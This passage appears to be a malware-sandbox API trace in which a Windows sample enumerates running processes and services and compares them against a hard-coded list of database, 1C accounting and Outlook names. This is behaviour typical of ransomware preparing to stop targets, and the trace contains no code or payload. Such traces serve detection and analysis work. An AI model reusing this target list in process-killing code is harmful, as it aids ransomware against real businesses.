lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0271.921] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0271.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0271.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0271.922] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0271.922] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0271.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0271.922] lstrlenW (lpString="Winmgmt") returned 7 [0271.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0271.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0271.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0271.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0271.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0271.922] lstrlenW (lpString="WPDBusEnum") returned 10 [0271.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0271.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0271.922] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0271.922] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0271.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0271.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4ca0060 | out: hHeap=0x540000) returned 1 [0271.922] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0271.927] Process32FirstW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.929] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.929] lstrlenW (lpString="System") returned 6 [0271.929] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0271.929] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0271.929] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0271.929] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0271.929] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0271.929] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0271.929] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0271.929] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.929] lstrlenW (lpString="smss.exe") returned 8 [0271.929] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0271.929] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0271.929] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0271.929] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0271.929] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0271.930] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0271.930] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0271.930] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.930] lstrlenW (lpString="csrss.exe") returned 9 [0271.930] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0271.930] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0271.930] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0271.930] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0271.930] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0271.930] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0271.930] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0271.930] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.930] lstrlenW (lpString="wininit.exe") returned 11 [0271.930] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0271.930] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0271.930] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0271.930] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0271.930] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0271.930] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0271.930] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0271.930] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.931] lstrlenW (lpString="csrss.exe") returned 9 [0271.931] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0271.931] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0271.931] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0271.931] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0271.931] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0271.931] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0271.931] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.931] lstrlenW (lpString="winlogon.exe") returned 12 [0271.931] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.931] lstrlenW (lpString="services.exe") returned 12 [0271.931] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.932] lstrlenW (lpString="lsass.exe") returned 9 [0271.932] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0271.932] lstrlenW (lpString="lsm.exe") returned 7 [0271.932] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.932] lstrlenW (lpString="svchost.exe") returned 11 [0271.932] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.933] lstrlenW (lpString="svchost.exe") returned 11 [0271.933] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.933] lstrlenW (lpString="svchost.exe") returned 11 [0271.933] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.933] lstrlenW (lpString="svchost.exe") returned 11 [0271.933] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.933] lstrlenW (lpString="svchost.exe") returned 11 [0271.933] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.934] lstrlenW (lpString="audiodg.exe") returned 11 [0271.934] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.934] lstrlenW (lpString="svchost.exe") returned 11 [0271.934] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.934] lstrlenW (lpString="svchost.exe") returned 11 [0271.934] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0271.934] lstrlenW (lpString="userinit.exe") returned 12 [0271.934] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.935] lstrlenW (lpString="dwm.exe") returned 7 [0271.935] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.935] lstrlenW (lpString="explorer.exe") returned 12 [0271.935] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.935] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.935] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.935] lstrlenW (lpString="taskhost.exe") returned 12 [0271.935] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.936] lstrlenW (lpString="svchost.exe") returned 11 [0271.936] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0271.936] lstrlenW (lpString="chrome64b.exe") returned 13 [0271.936] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0271.936] lstrlenW (lpString="reader_sl.exe") returned 13 [0271.936] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.936] lstrlenW (lpString="taskhost.exe") returned 12 [0271.936] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0271.937] lstrlenW (lpString="consent.exe") returned 11 [0271.937] Process32NextW (in: hSnapshot=0x284, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0271.940] CloseHandle (hObject=0x284) returned 1 [0271.940] Sleep (dwMilliseconds=0x1f4) [0272.599] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45441a8 [0272.599] EnumServicesStatusExW (in: hSCManager=0x45441a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0272.599] GetLastError () returned 0xea [0272.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e4) returned 0x46151a8 [0272.599] EnumServicesStatusExW (in: hSCManager=0x45441a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46151a8, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46151a8, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0272.600] CloseServiceHandle (hSCObject=0x45441a8) returned 1 [0272.600] lstrlenW (lpString="Appinfo") returned 7 [0272.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0272.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0272.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0272.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0272.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0272.600] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0272.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.600] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0272.600] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0272.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0272.600] lstrlenW (lpString="AudioSrv") returned 8 [0272.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0272.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0272.601] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0272.601] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0272.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0272.601] lstrlenW (lpString="BFE") returned 3 [0272.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0272.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0272.601] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0272.601] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0272.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0272.601] lstrlenW (lpString="CryptSvc") returned 8 [0272.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0272.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0272.601] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0272.601] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0272.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0272.601] lstrlenW (lpString="CscService") returned 10 [0272.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0272.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0272.601] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0272.601] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0272.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0272.601] lstrlenW (lpString="DcomLaunch") returned 10 [0272.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.601] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0272.601] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0272.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0272.601] lstrlenW (lpString="Dhcp") returned 4 [0272.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0272.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0272.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0272.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0272.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0272.601] lstrlenW (lpString="Dnscache") returned 8 [0272.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0272.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0272.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0272.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0272.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0272.602] lstrlenW (lpString="DPS") returned 3 [0272.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0272.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0272.602] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0272.602] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0272.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0272.602] lstrlenW (lpString="eventlog") returned 8 [0272.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0272.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0272.602] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0272.602] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0272.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0272.602] lstrlenW (lpString="EventSystem") returned 11 [0272.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0272.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0272.602] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0272.602] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0272.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0272.602] lstrlenW (lpString="gpsvc") returned 5 [0272.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0272.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0272.602] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0272.602] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0272.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0272.602] lstrlenW (lpString="iphlpsvc") returned 8 [0272.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.602] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0272.602] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0272.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0272.602] lstrlenW (lpString="LanmanServer") returned 12 [0272.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0272.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0272.603] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0272.603] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0272.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0272.603] lstrlenW (lpString="LanmanWorkstation") returned 17 [0272.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.603] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0272.603] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0272.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0272.603] lstrlenW (lpString="lmhosts") returned 7 [0272.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0272.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0272.603] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0272.603] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0272.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0272.603] lstrlenW (lpString="MMCSS") returned 5 [0272.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0272.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0272.603] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0272.603] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0272.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0272.603] lstrlenW (lpString="MpsSvc") returned 6 [0272.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0272.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0272.604] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0272.604] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0272.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0272.604] lstrlenW (lpString="Netman") returned 6 [0272.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0272.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0272.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0272.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0272.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0272.604] lstrlenW (lpString="netprofm") returned 8 [0272.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0272.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0272.604] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0272.604] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0272.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0272.604] lstrlenW (lpString="NlaSvc") returned 6 [0272.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0272.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0272.604] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0272.604] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0272.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0272.604] lstrlenW (lpString="nsi") returned 3 [0272.604] lstrcmpiW 